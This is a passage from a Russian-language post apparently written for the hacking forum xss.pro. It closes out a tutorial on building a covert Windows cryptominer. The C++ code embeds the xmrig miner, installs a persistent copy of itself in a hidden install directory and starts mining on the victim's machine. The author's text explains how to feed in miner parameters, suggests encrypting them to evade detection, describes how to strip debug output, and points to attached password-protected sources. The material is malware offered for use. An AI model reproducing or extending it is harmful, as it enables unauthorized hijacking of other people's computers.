if (GetLastError() == ERROR_ALREADY_EXISTS) {
return;
}
char* argv[] = { "here", "are", "some", "arguments" };
int argc = sizeof(argv);
using namespace xmrig;
Process process(argc, argv);
const Entry::Id entry = Entry::get(process);
if (entry) {
Entry::exec(process, entry);
}
App app(&process);
app.exec();
}
int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
if (!Debug::Initialize(Debug::OutputTypes::kFile) || !Memory::Init() || !Ntdll::Init() || FAILED(CoInitializeEx(nullptr, COINIT_MULTITHREADED))) {
return 0;
}
WCHAR current_path[1025] = { 0 };
WCHAR install_directory[1025] = { 0 };
GetModuleFileNameW(0, current_path, 1024);
Persistence::GetInstallDirectory(install_directory);
if (StrStrW(current_path, install_directory)) {
StartMining();
}
else {
if (GetFileAttributesW(install_directory) != INVALID_FILE_ATTRIBUTES) {
DBGPRINT(L"File %s, line %d, found install dir %s", __FILEW__, __LINE__, install_directory);
return 0;
}
if (!Persistence::Install(current_path, install_directory)) {
DBGPRINT(L"File %s, line %d, Persistence::Install error %d", __FILEW__, __LINE__, GetLastError());
return 0;
}
StartMining();
}
return 0;
}
Параметры для майнера, как не сложно догадаться, можно передать в функции StartMining, заполнив массив строк argv. Шифрование параметров остаётся на совести читателя статьи, это не сложно сделать, вникнув в написанное выше.
Отключить отладочный вывод можно переключаяя режимы сборки: /MTd для наличия вывода, /MT для его отсутствия.
Ах, да - для работы пребилд скрипта нужно поставить модуль arc4 (pip install arc4), исходники готового проекта прилагаются ниже, пароль местный. Пользуйтесь на здоровье =)
Статья написана мной (ru_soft) специально для форума xss.pro
Последнее редактирование модератором:
